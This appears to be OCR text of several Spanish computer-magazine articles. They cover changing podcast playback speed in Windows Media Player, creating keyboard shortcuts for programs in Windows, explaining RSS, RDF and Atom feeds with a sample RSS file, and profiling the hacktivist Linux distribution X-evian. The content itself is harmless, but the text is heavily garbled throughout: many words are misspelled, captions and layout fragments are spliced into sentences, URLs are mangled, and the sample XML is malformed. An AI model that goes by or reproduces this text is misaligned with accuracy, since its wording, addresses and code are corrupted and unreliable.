te ofrece una solucitn para lograro.

El podcasting consiste en crear archivos
de sonido (generalmente en formato mp3 u
oge) v poder subscribirse mediante un archi-
vo R55 (lo que se conoce como sindicacidn)
de manera que permita la descarga de un
programa de raclio para que el usuario lo
escuche en el momento que quiera, gene-
ralmente en un reproductor portétil, aungue
tamhbién en el ordenador. Se trata posible-
mente de la nueva generacion de progra-
mas de radio, adaptades a la cibercultura v
disponibles para cualquiera y realizados por
cualquiera ya que no hard falta tener una
licencia para emitir en alguna frecuencia, co-
mo ocurre con la radio tradidional, sino que
bastard con grabar el programa (o lo que
queramos), colgarlo de nuestra web {y sindi-
carlo si es posible) para que se lo descargue
quien quiera. Es uno de los fendomenos mads
llamativos de los dltimos tiempos (quizds jur-
to a los videoblogs) v debido su popularidad
son va muchos los gue se han enganchado.

Escucharle es tan sencillo como conectar-
te 2 la pdgina del podcaster y descargarte su
archivo, o también puedes utilizar unas apli-
caciones disefiadas para tal fin (va sea de for-
ma online u offline), aunque si luego quieres
pasaro a tu reproductor mp3 no te quedard
mids remedio que descargario, Muchos son
los que asi lo hacen para luego poder escu-
charlo utiizando tan sdlo el Windows Media
Player, tranquilamente desde su PC. Se Irata
de una aplicacion que te permitird, como
muchos otros reproductores de archivos
multimecia, escuchar el archivo de audio,
aungue de cara a optimizar la escucha no
estd de mas conocer algin truco adicional
que esta solucion puede ofrecerte,

Y es que en mds de una ocasidn puede
interesarnos adelantar la reproduccion de
determinado contenido porque, no nos en-
ganemos, no todo lo que escuchamos tieng
un contenido que nos interese v, en mas de
una ocasion, desearemos sallarmos partes, s
bien lo complicado es acertar con el punto

@mﬁ

que nos condiemne si
lo hacemos “a pelo”.
Por ello puede ser
interesante utilizar
la opcidn de Win-
dows Media Player
gue nos permitira
aceberar la repro-
duccion del archivo
de audio (de forma
que podamos seguir
“sscuchando™) para
retormarlo a su velo-
cidad normal cuando
SEA NECESANO,

Abre Windows
Media Player, car-
ga el Podcast que

=% I LAt e bl whd

A L e TV

quieras oir y selec-
ciona “Ver - Mejoras
LConfiguracion de
Velocidad de repro-
duccion”, lo que
desplegard en la
parte inferior de la
interfaz un control
deslizante con el que
serd posible alterar

la velocidad {desde
“16" a “+167). De-
pendiendo del audio
fJue se Cargue s¢
hahilitara un rango
mavor o menor des-
tacado en verde (por
ejermnplo de “0,5" a
*2.07), indicindonos
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el que la aplicacion
NOS SURIETE Coumio
“razonable” (se su-
pone gue signos menores de O hardn una re-
produccidn inversa). Todo lo que se salga de
ahi es susceptible de no ser audible v, por lo
tanto, poco practico si queremos entender
algo de lo gue se dice. En ciertos casos inclu-
50 serd imposibie establecer el control sobre
determinacdos valores (por ejemplo cuando
son demasiaclo lentos para ser audibles). En
estas situaciones, si lo intentas, el control
simplemente “saltard” de nuevo al valor 1,0.
Liiliza el control deslizante para acelerar
Ia reproduccion de los contenidos que no te
interesen v devuélvelo a su punto de equili-
bro (1,0) cuando hayan terminado. También
podrds ver tres opciones en forma de textos

Windgws Media Playerofnece la posibivdad de controla is velocidsd de reproduceida

de tipo enlace: Lenta, Mormmal v Ripida. Si
pulzas sobre cualquiera se aplicard la veloc-
dad predeterminada por el control, De esta
forma, “Lenta” te sitda en el punto 0,5 (a me-
dia velocidad), “Mormal™ en 1,0 (la velocidad
estandar) y “Rapida™ a 1.4 (una aceleracidn
“suave”) que te permilird adelantar los con-
tenidos pero logrando discemir el audio para
detenerlo cuando lo desees.

Para poder utilizar este truco y visualizar
el control de velocidad de Windows Media
Player, deberds tener la version 10 o supe-
ror.

Nicolis Velisquez Espinel



ATAJOS DE TECLADD

Lrea atajos de teclas para
tus aplicaciones favoritas

Casi puede decirse que
existe un antes v un después en

lo relative al uso del ordenador
en el instante en el que eres
consciente de los atajos del
teclado, combinaciones que
agilizan las tareas repetitivas
ahorrando un tiempo precioso,
¥ que tu mismo podras definir.
Cualguier usuario informdtico
habri llegado alguna vez a la
conclusion de que determinada
funcidn podria ir mejor o ser
mads rdpida si se hiciera de una
u otra forma. De ahi que tengan
tanto éxito aplicaciones que se
dedican a personalizar el fun-
cionamiento del sistema opera-
tivo. Pero lo cierto es que las
herramientas que hay disponibles en
el mercado para lograr este propdsito
no siempre consiguen los resultados de-
seados y, todo hay que decirlo, en oca-
siones consumen tantos recursos gue lo
gue ajusta por un lado, lo desajusta por
Olro,
El que trabaje mucheo con el ordenador
habrd descubierto el secreto de los ata-
jos del teclado que Windows trae de
fabrica que pueden llegar a optimizar
los procesos y ahorrar mucho tiempo
{por ejemplo, [tecla Windows], la de
la banderita, + [E|, abrird el explorador
de Windows), aunque también existe
la posibilidad de que seamos nosotros
mismos vy los que definamos las combi-
naciones a realizar (con ciertas limitacio-
nes) y las aplicaciones a asociar.
Windows te ofrece la posibilidad de
iniciar rapidamente tus aplicaciones pre-
feridas siguiendo unos sencillos pasos.
Para ello, haz clic sobre el escritorio con
el botdn derecho del ratén y elige de la
ventana flotante que se abra la opcidn
“Muevo acceso directo”. Se abrird una
asistente que te permitird, como primer
paso, o bien escribir directamente el
nombre del programa elegido (si lo co-
noces), o bien pulsar en el boton “Exa-
minar” para navegar por tu disco duro
hasta localizar la aplicacion en cuestion.
Antes deberds asegurarte de cual es el
ejecutable adecuado para el programa
que desees abrir ya que cuando accedas
al directorio que contenga la aplicacion,

asignarle un nombre a tu acce-

so directo. Escribe lo que creas

conveniente v haz clic en el bo-
tén “Finalizae”,

En este instante habrds creado

un acceso directo a un progra-

ma, aungue lo que realmente

nos intéresa es que esté acceso
directo pueda ser “lanzado”
por una combinacion determi-
nada de teclas. Para lograr este
objetive, haz clic con el botdn
derecho del ratén sobre el nue-

El primer paso consiste 8 cres un scceso dinecle #a af escritario

Tendrias que asignar una combingcidn de feclas
al acceso direclo

puede ocurrir que existan varios ejecu-
tables, “.exe”, con diversas funciones.
Aungue este navegador solo gque permi-
ta recorrer las carpelas, una vez que ac-
cedas a las mismas, también se mostrard
una lista de los elementos susceptibles
de ser seleccionados, como los ejecuta-
bles, otros accesos directos, etcétera.
Cuande hayas localizado en programa,
pulsa en “Aceptar” vy, a continuacién, en
“Siguiente”. Ha llegado el momento de

v acceso directo creado. De
la ventana flotante resultante
selecciona la opcion “Propieda-
des”, lo que te presentard una
serie de pardmetros aunque
para nuestros propdsitos el
tnico que realmente nos interesa es gl
correspondiente a la casilla “Tecla de
meétodo abreviado” que aparecerd con
el texto “Ninguno” por defecto.
El campo no es editable. De hecho, si
haces clic con el ratdn sobre la casilla,
comprobards como el texto no es edita-
ble, de forma que no serd posible escri-
bir nada. Esto tiene sentido en cuanto a
que el campo en cuestidn sdlo acepta
combinaciones de teclas. Pulsa sobre él
para activarlo (posicionara un cursor tras
la palabra) y, a continuacidn, haz clic
sobre cualquier tecla. Podrdas comprobar
codmo, de forma automatica, se actualiza
el campo con el contenido: |Cirl] + [Alt]
+ |tecla pulsadal
Intenta seleccionar una combinacidn
gue realmente suponga un atajo en el
teclado (ten en cuenta gue tendris que
utilizar una combinacién de tres teclas)
de forma que el acceso a las mismas sea
comodo. Una vez lo hayas conseguido,
pulsa en “Aceptar”. A partir de ahora
tendrds asignado ese acceso directo
a esa aplicacion vy podrds llamarla en
cualguier momento. Repite el proceso
para tantas aplicaciones como quieras
aunque es recomendable que analices
de forma realista las aplicaciones de las
quieras crear atajos y lo practico que
esto puede llegar a resultar, va que si
COmienzas a crear atajos "sin ton ni son®
esta medida puede resultar mas molesta
que practica.
Nicolds Velisquez Espinel
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Todo lo que el RSS, RDF y el Atom
tiene que aportarnos

Estas acostumbrado a ver sus siglas cada vez en mas sitios web. La tienes en la barra de tu
navegador, en la parte baja de pricticamente todos los blogs que lees, y cada vez en més
web y periédicos online. Pero ;qué es realmente la sindicacién de contenidos? ;Qué di-

ferencia hay entre RSS, RDF y Atom? En este articulo despejaris estas dudas y descubriras
una revolucién en la red que ya es una realidad.

La red crece a un ritmo endiablado,
Cada dia surgen miles de piginas con
las temdticas mds variopintas. Dentro de
esa creciente oferta, el internauta va a
encontrar informacidn sobre los temas
de su interés, Pero el problema surge
cuando el ndmero de sitios de referencia,
2505 que s& visitan con cierta frecuencia,
e incluso como ruting, van aumentando
en los favoritos de los navegadores. El
tiempo de chequeo aumentard exponen-
cialmente al numero de fuentes, pero
muchas veces ocurrird que no todos los
sitios se actualizan con la misma frecuen-
cia que el internauta las cheguea, con la
consiguiente pérdida de tiempo. Pero, jy
si fueran los sitios web los que nos avisa-
ran directamente de que se ha producido
una actualizacidn? Esto es la sindicacidn
de contenidos.

Dichas informaciones pueden consistir
en la noticia completa sin mas pretensio-
nes, @ en el aviso de que se ha producido
una actualizacién, mediante un fragmen-
to de dicha noticia, con la finalidad de
que el internauta visite el sitio para leerla
completa, Estos archivos reciben diversos
nombres, como feeds, canales RSS o
hilos RSS.

Asi mismo, hay algunas web que
utilizan la informacion que les llega de
terceros mediante estos formatos para
maostrar noticias actualizadas de forma
automatica,

iPero ql‘I:F obtengo si uso este
e

sistema de notificaciones?
Lo primero, un ahorro de tiempo
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El sindicador on Hme fider bloglines.com

considerable, la eliminacién de molestas
rutinas de visita, la posibilidad de poder
acceder a mas fuentes de informacidn...
Ademds, las ventajas frente a otras forma
de notificaciones, como el e-mail, son
notables. Te das de alta o de baja cuando
deseas, sin necesitar la interaccion de na-
die. Te aseguras privacidad, evitas spam,
virus y descongestionas tu e-mail.

El desarrollo de estos sistemas son
tan grandes, gue ya representan un buen
porcentaje de las visitas de los sitios web,
con lo que aumenta el ancho de banda
consumido por estos. Por lo que se nos
insiste desde esas web que un refresco de al
menos 15 minutos, es mds que suficiente y
contribuye a no malgastar trasferencia indtik
mente, Esta frecuencia es fijada por el usua-
rio basdndose en sus necesidades, aungue
emplear el buen juicio no viene mal,

FEED Validator

FORE ATOM AND KIS
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Validador da feed on line feedvalidator.crg

Oitros sitios utilizan estos medios para
insertar publicidad en ellos, yva que los
usuwarios no visualizan la publicidad del
sitio, pero si consumen informacién v
recursos. Hay que indicar que va existen
sistemas de blogueo de publicidad, al
igual que para navegadores web, para los
lectores de feed.

RSS, RDF, Atom

El RSS (Rich Site Summary -RSS 0.91- 0
Really Simple Syndication -R55 2.0-) es un
sublenguaje de XML -gue es a su vez un
metalenguaje mds flexible que el HTML-
utilizado para la distribucién o sindicacion
[de syndication en inglés) de informacio-
nes contenidas en sitios web, El formato
fue ideado por MNetscape en 1999, aunque
no se comenzo a popularizar hasta 2004.

El ROF (RDF Site Summary -R55 0.9 y
1.0-), por su parte, es el (nico estindar de
sindicacidn creaclo por la W3C y el dnico
que valida sus normas, Para programar
RDF se utiliza el XML,



Por su parte, Atom, alentado por las
grandes corporaciones de contenidos
de la red, pretende ser un estindar que
unifique la diversidad de formatos de
sindicacién, aunque ha acabado compi-
tiendo con el resto de formatos, Ofrece
una mayor flexibilidad, aungue su uso es
minaritario,

;Qué necesito?

Para leer dichos feeds, es necesaria
la utilizacidn del propio navegador o de
programas especializados gue reciben
el nombre de agregadores o lectores de
teeds, De un tiempo a esta parte han
surgido servicios via web donde consultar
las actualizaciones de forma on line, sin
contar con ningun software en tu maqui-
na local.

Algunos navegadores actuales (como
Firefox, Netscape, Opera, Safari...) ofrecen
una gestién mds o menos acertada o ami-
gahle de estos “marcadores vivos®, como
los definen algunos, e incluso se puede
habilitar esta facilidad mediante plugins
de terceros. También los gestores de co-
rre0 electronico (Thunderdird, Qutloak...)
va incorporan esta funcidn,

Pero la mayoria de los usuarios que
utilizan la sindicacidin como ayuda en su
navegacion, suelen utilizar programas
de escritorio para su chequeo por la co-
modidad v manejo mas versitil de estas
fuentes. Por citar algunos por plataformas:
Windows: Feedreader, Sharpreader...
Linux: Straw, RS50wl... Mac: Vienna, Met-
NewsWire...).

Los servicios web incluyen la posibili-
dad de usar agregadores en linea (blogli-
nes.com, feedness.com, rojo.com...) asi
como olros servicios mas generales que
también contemplan esta funcidn (netvi-
bes.com, vahoo.com...).

Para acabar, hay que indicar la existen-
cia de clientes lectores de feed, confeccio-
nados en exclusiva por algunos periddicos
on line {20minutos.es) v sitios web donde
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El agregador on line rojo.com
se pueden consultar tan solo las noticias
de estos sitios en concreto.

Las posibilidades, pues, son mdliples.
Por tanto, se recomienda que testees va-
rias hasta encontrar la que mejor se aco-
mode a tus preferencias y necesidades,

A modo de curiosidad, existen algunos
servicios web que construyen archivos
R55 en linea de sitios web que no dispo-
nen de ellos.

;Como funciona el RSS?

El funcionamiento del software es
bastante simple. Cuando se suscribe un
canal, el programa guarda una copia de
ese archivo, y posterior-

rn-l ] e
R e
—_— =

mente lo compara con
los que hay disponibles
en el servidor mostrando
los cambios producidos
como actualizaciones.

Los archivos RSS, por
su parte, tienen una es-
tructura bastante sencilla.
He agui un ejemplo sim-
plificado:

<%?xml version=*1.0"
encoding="150-08509-
1 >

LTS3 Vver-
Bion="2, 07>

<channel>

TECNOLOGIA

<title>Mi web</title>

<link>http://www.midirec=
clion.com<)link>

<description>Ejemple de un
fichero R33</description>

<item>
<title>Qué es el RSS5</
Eitle>
<link*http://www.midi-
reccion.com/que_es.html</link>
<description>Explica gué
es el formato RSS</description>
<fitem>

<1 cem
<title>Para qué sirve</
ticle>
<link>http://www.midi-
reccion.com/para que.html
</link>
<description>Entiende su
funcionamiento</description>
<fitems

< /fchannel>»
Clirses

En el apartado channel colocas |z in-
formacion del sitio web al que pertenece
al feed. En title, escribiremos el titulo del
articulo o pagina web. En el apartado link
indicaremos la URL del propio articulo v,
para acabar, en description colocaremos
un resumen del articulo. Recuerda que tie-
nes que crear un item para cada articulo.

Dentro de la pdgina principal del sitio
ofreceremos en &l head una linea de codi-
go, con idea de que el navegador localice
por €l mismo el canal RSS y lo muestre
en su barra de direcciones mediante un
grafico:

<link rel="alternate”
type="application/rss+xml"”
title="R55 2.0 href="http://www.
midireccion.comfarchiveo,rss” />

Puedes validar tus archivos de sindica-
cidn en servicios como el que se ofrece
en feedvalidator.org

De cualquier modo, los CMS actuales
se encargan de crear y actualizar ellos los
canales de sindicacidn, con lo que no te
tendrds que preocupar de ello. También
dispones de atras herramientas on line
con las que fabricar tus propios feed {uats-
ap.com/rss/toals/1).

Que lo sindigues hien,

Mon Magan
MONMagan. oom

&
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A estas alturas de la historia del software libre, con la supremacia de usabilidad de Ubun-
tu, una distro mas, otro LiveCD, entre todos los que aparecen cada mes adaptados a
universidades, comunidades autbnomas, empresas, etc. no parece que pueda sorprender
a nadie ... ;O si? Cuando muchos (incluidos sus propios desarrolladores) la daban por
muerta, X-evian (la distribucién de software libre hecha por hacktivistas y para hacktivis-
tas) resurge de sus cenizas. Un proyecto que, con renovada ilusién, abre sus puertas a la
participacion distribuida para desencadenar un proceso de colaboracion entre hacklabs.
Un nuevo experimento sociotécnico que merece la pena ser contado... e instalado.

De la contracumbre del G8 en
Evian al Foro Sodal Mundial

El origen de X-evian (hitp://xevianorg), de

la “distro” v de su nombre, responde a una
de esas coincdencias que los hacktivistas no
dejan pasar inadvertidamente. Originalmente
la idea “surgic de la necesidad de equipar
mdquinas v conectaras en red para la
contracumbre del G8 que tendria lugar

en Evian en junio del 2003". Algunos
hacktivistas de Metabolik (hitp://metabolik.
hacklabs.org) habian decidicdo ir a la
contracumbre y aportar su granito de arena
téenica con un sistema operativo libre
adaptado a las necesidades de los activistas
del movimiento global. Y a esto que, sin
previo aviso, Xevian (hitp://eghost.deusto,
es/phpwiki/index.php/XevianDered) (uno de
los integrantes de Metabolik v del grupo de
hackers e-ghost {http://www.e-ghost.deusto.
e5/)de la Universidad de Deusto) fallecia
inesperadamente. Fue un duro golpe para
quienes le conocian v para los hacktivistas
de la zona. Asi surgié el nombre de X-evian,
en honor a un hacktivista que abandond
prematuramente las redes de la vida y como
expermento hacktivista para enfrentarse a
los poderosos por lodos los medios técnicos.

Aquella primera version que los Metabolikos
llevaran a Evian no paso de la anécdota

ya que integrantes de Indymedia habian
dispuesto previamenie ordenadores con
software [fbre en los centros de medios de
los campamentos de activistas. Pero X-evian

@ll;.r

siguid desarmollindose y para el Hack3na
(hutp/ fsindominionet ~hm/iruna03/) (e
hackmeeting del 2003) habia va una version
beta que desperto ol interés de muchos
asistentes. Un ano después X-evian era una
dlistribucitn de GNLU/Linux Rgera (capaz

de correr en un ordenador recidaclo)

pero completa: con un Cinelerra listo para
editar video, un PureData precompilaclo,

un sistema de escritorio (XFCE) con una
usabiliclad sobresaliente v todo un conjunto
de herramientas hacktivistas: desde el GPG
[para mantener comunicaciones cifracas)
hasta un kit completo para explorar las, por
aquel entonces emergentes, posibilidaces de
la conectividad sin cables, Ademds, X-evian
venia con toda una sere de “faclidades”
anadicdas: una buena recopilacion de enlaces
activistas v Alephanclria (http://metabolil.
hacklabs.org/alephandria/) {una mediatica

copyleft con textos, manuales y musica libre).

Comao bien explica la web “desde el punto
che vista de la usuaria, X-Evian es una caja de

herramientas para la autonomia digital: con
los programas, recetas, ideas y materiales
libres necesarios para la autoedician digital
e texto (..) |a idea es que X-Evian ofrezca
un conjunto completo de herramientas
multimedia que permitan a las usuarias editar
v dlifundlir sus creaciones v experiencias en
cuakquier medio: abrir las puertas para una
comunicacidn liberada de intemediarios
que acumulen privilegios de configuracion,
iiltrado v difusion”.

En la era prelUbuntu, la comunidad del
software libre no tenia aun un sistema facl
de instalar v adaptado a las necesidades

de los activistas y los LiveCD, capaces de
instalarse automdticamente, empezaban

a gozar de cierto éxito. La Fundacidn
Rodriguez (http:/sww fundacionrdz.com/),
dentro de la red de proyectos E-Tester
[http:/www.etester.net/), decidicd pagar una
huena tirada de CDs v distribuir ejemplares
de Xevian (por entonces la Gnica distro
auloinstalable y usable en euskera, castellano
e inglés) v de aquella primera version se
llegaron a hacer mas de mil copias, algunas
de las cuales fueron wsadas en el centro de
mieclios del Foro Social Mundial en Porto
Alegre (Brasil) asi como en mucheos hacklabs
y cenlros sociales.

Hacktivismo 2.0

Pero mantener una version fundional y
actualizada de una distribucidn de software
libre suponia demasiado trabajo para

el reducido nimero de hacklivistas que
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Seresnshol de la versitn anterior de X-evian, o dizefo grifico de I rueva edicldn estd aon en

desarroilo. [Copyfeft 2605 Metabolik BioHackisb CC-by-saf

desarrollaban X-evian en el laboratorio
hacktivista de Bilbao. Asi que decidieron
abandonar temporalmente el proyecto. Sin
embargo, a finales de 2006, surgic la idea de
renovarlo desde una dptica diferente: utilizar
X-evian como catalizador de un proceso de
colaboracion hackiivista. La idea se presentd
en el Hackmeeting de Matard (http://wavw.,
sindominic.net/hackmesting/) de ese

mismo afo y miembros de otros hacklabs se
unieron al dispositivo de colaboracion que
los hacktivistas de Metabolik habian ideado.
En estos momentos la lista de coordinacian
che Xevian tiene mads de 100 suscriptores, de
los cuales unos 20 participan activamente
desde Canarias, Bilbao, Santiago de Chile,
Zaragoza o San Sebastidn,

Yo creo que el lado mas hacktivista de
X-gvian no esta entre sus caractenisticas
como producto, sino como proceso”™
comenta Txopi (uno de los integrantes de
Metabolik y desarrollador de X-evian) “en
esta dlima version estamos mejorancdo
mucho ese proceso para CpUe Sea mads
distribuido, mds completo v mas onentado
a las necesicdades de los hacktivistas”,
Parafraseando la definicion de Web 2.0 de
Tim OFReilly, podria decirse que: “X-evian
2.0 es el software libre como plataforma,
expandir en un CD todos los hacklabs
conectados creando efectos de red a traviés
de una arquitectura de la participacion”.
Asi, el proceso de ingeniena de software
se convierte también en un proceso de
ingeniena politica, una oportunidad para
crear comunidad y debatir abiertamente
sobre los temas que preocupan a los
hacktivistas: jCudl es el mejor sistema de
comunicaciones seguras? ;Como gestionar
el problema de los codecs privativos
multimedia? }Cémo podemos aportar a
los movimientos sociales con nuestros
conocimientos tecnicos?

de nuevos
anadicos y
el wiki (http://
sindominio.net/metabolik/wiki/index.phyp/X-
evian) para ir acumulando y ordenando la
informacidn de la lista. Pero la herramienta
central de trabajo es el Trac (hitp://pulsar.
unizares x-evian], un sistema online de
gestion de tickets que permite distribuir
v coordinar todo el trabajo de desarrollo,
intormar de los nuevos cambios v planificar
los diferentes hitos del proceso. A esto
tenemos que afadir otras herramientas
tipicas el cesarolbo de software como wn
serviclor FTP o el servidor de versiones
Subversion y otros no tan tipicos como
el gestor colaborativo de enlaces Scuttle
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(http://redhack.cl/scuttle/) o un pequerio
programa cue permite actualizar el
contenico de la mediateca Alephandria
de forma colectiva y bien etiquetada en
XML Todo ello distribuido en 4 servidores
diferentes: SourceForge.net (el conocido
servidor para proyectos de software libre),
Pulsar (en la universidad de zaragoza),
RedHack ¢l {en Santiago de Chile) v el
senvidor autdnomo SinDominio.net.

Ademids el proceso de desarrollo se ha
dividide en vanos roles que permiten
organizar la colaboracion: el jardinero
{encargado de cuidar v ordenar el wiki),

ks bibliotecarios (que recopilan textos
archivos multimedia para la mediateca),
empaquetacdores (que crean paguetes

con los archivos de configuracidn v otras
aportaciones de usuarios v desarrolladores),
el maestro che ceremonias (encargado de
hacer la 150 v anunciar las nuevas versiones
en pruebas), bos routers {responsables de
dar la bienvenida a nuevos hacktivistas
interesacdos en participar en la distro) o los
disefiadores (responsables de disefar
confeccionar todo el material grifico que
requiere el proyecto: iconos, web, fondos de
escrtorio, efc.).

XNU: x-evian is not ubuntu

Lo que va a permitir una estabilidac mavor
CJUe sUs versiones anteriores, v poder
centrarse asi en los extras y atachdos que
ofrece X-evian, es que hace uso de los
repositorios de Ubuntu (de Xubuntu {hip:,

i - !-'

i

Xeawian o5 wlifizada en muchos lmboratorios hacklivistas, entre ellos Metaboiik BioMachlab creado-
res de esta herramisats, [Copyloft 2005 Metaboilk BloHackizh CC-by-sa]



wwwaubuntu.org) més concretamente)

con lo que ba actualizacidn e integracion

clel software bisico es casi automdtica.
Ademds, “vamos a intentar que toda la
personalizacion de xevian se beve a cabo a
traveds che paquetes debs” explica MoeBius

(el maestro de ceremonias). De este modo,
cualguier ordenador con Debian o Ubuntu
podrd faciimente “personalizanse” en una X-
evian instalando bos paquetes directamente. La
division del desamollo de X-evian en paguetes
que se afaden a un ideo basado en Xubunitu
permite ademds modularizar el desamollo: por
ejermplo todo el disefio grifico se encuentra
en &l paquete x-evian-arbvork v puede ser
instalado y desamrollado independientemente
deld resto.

sin embargo, el hecho de que esté basado en
Ubuntu ha dado pie a algunas criticas a causa
de las particularidades de este proyecto {que
tan eficazmente ha popularizado el software
libre): su dependencia de la empresa Canonical
{https/Awwww.canonical.comy) v de su lider y
fundador (el multimillonano y visionario Mr,
Shuttleworth) v el cariz “privative” que tiene
parte de su infraestructura (como el sistema
de gestidn del desarrollo v la comunidad

de usuanos, que no es software libre),

Pero la potencia del software libre reside
precisamente en la libertad que garantiza,
incependienternente del origen del software,
Un programa incluido en Debian (http://
debiancorg) (la mds puritana v democritica
de las distibuciones de software libre) bien
puede haber sido desarrollade en un Windows
XP para una empresa de armamento militar,
Pero si el software es GPL (la licendia que
define las cuatro libertades fundamentales

como reza uno de los fondos de escritoro de
esta distro hacktivista “X-evian No es Ubuntu”,
algo que los hacktivistas han sintetizado con

el acrdnimo XNU {un guino al provecto
fundlador del software lbre GNU hitpy//gnu.
org): Grw is Not Unix). Como apunta Baronti
(une dhe ks desarrolladores recién incomporados
al proyecto) distibuciones de este tipo son
necesanas: “un gesto poliico que demuestra
que efectivamente hay segmentos o colectivos
en nuestra sociedad que estin en condiciones
de tomar un cddigo y hacero fundonar de una
manera

personakizada para que nadie comience a
sentirse con el monopolio de la ‘maguinara’

y la tecnologia®, Mds aun cuando todo el
proceso es capaz de organizarse a través del
copyleft: en sus programas de desamollo v
comunicacian, en sus documentos v disefios
libres v en una organizacion social de codigo
abierto y participativo,

El valor anadido que aporta Xevian, frente a
oftras distribuciones existentes, reside, como
comenta Txopi, en res aspectos. H primero
s ol de la seleccion de software: “programas
gendricos como navegadores o procesadores
de texto, pero también heramientas de edicidn
de audio y video, escaneadores de puertos,
difrado, elc.”. También estd en proyecto
incluir un chiente de TOR {hitp://tor.eff org/)
fel sisterna de navegacion segura desarollacko
por la Electronic Frontier Foundation) y
Democracy (hitp://getdemocracy.com) que
Xabier (otro de los veteranos en X-evian)
describe comeo “una nueva plataiorma que
permite gestionar la television auténomaments
con calidad DVD, una verdadera revolucion

lugar estd la preconfiguracion del software
incluido “para ajustaro” en palabras de

Txopi “a las necesidades v los pustos de

los hacktivistas: fondo de escritorio v otros
themes con temdtica hacktivista, marcadores
de firefox sobre hacktivismao, robot de
isqueda de wikipedia preparado v otros
phugins, configuracion de red v otros temas

de segunidad, x-chat preconfiguraclo para
entrar en el canal fx-evian y poder preguntar

a ofros usuanos, etc.”. Finalmente, x-evian 2.0
incluye una versidn actualizada de la mediateca
copylelt Alephandria, que cuenta hoy con més
cle 300 archivos (entre manuales, COMOSs,
libros, manifiestos, charlas y nuisica),

"Al menos para mi” sentencia Txopi “lo mejor
de xevian no es lo que es, sino lo que puede
ser; que somos nosotros (los hacktivistas)
quienes lo desamrollamos y los que decidimos
qué libertacles materalizamos en este sisterna
operativo para ayudar lo mejor posible a
nuestra comunidad”. Asi que ya sabes: yva
puedes descargar las primeras versiones de la
nueva X-evian, testeada y unirte a la comunidad
que se estd creando en su desamollo: hitp://x-
evian.ong,
Evhack<
{evhack.info@gmail.com)
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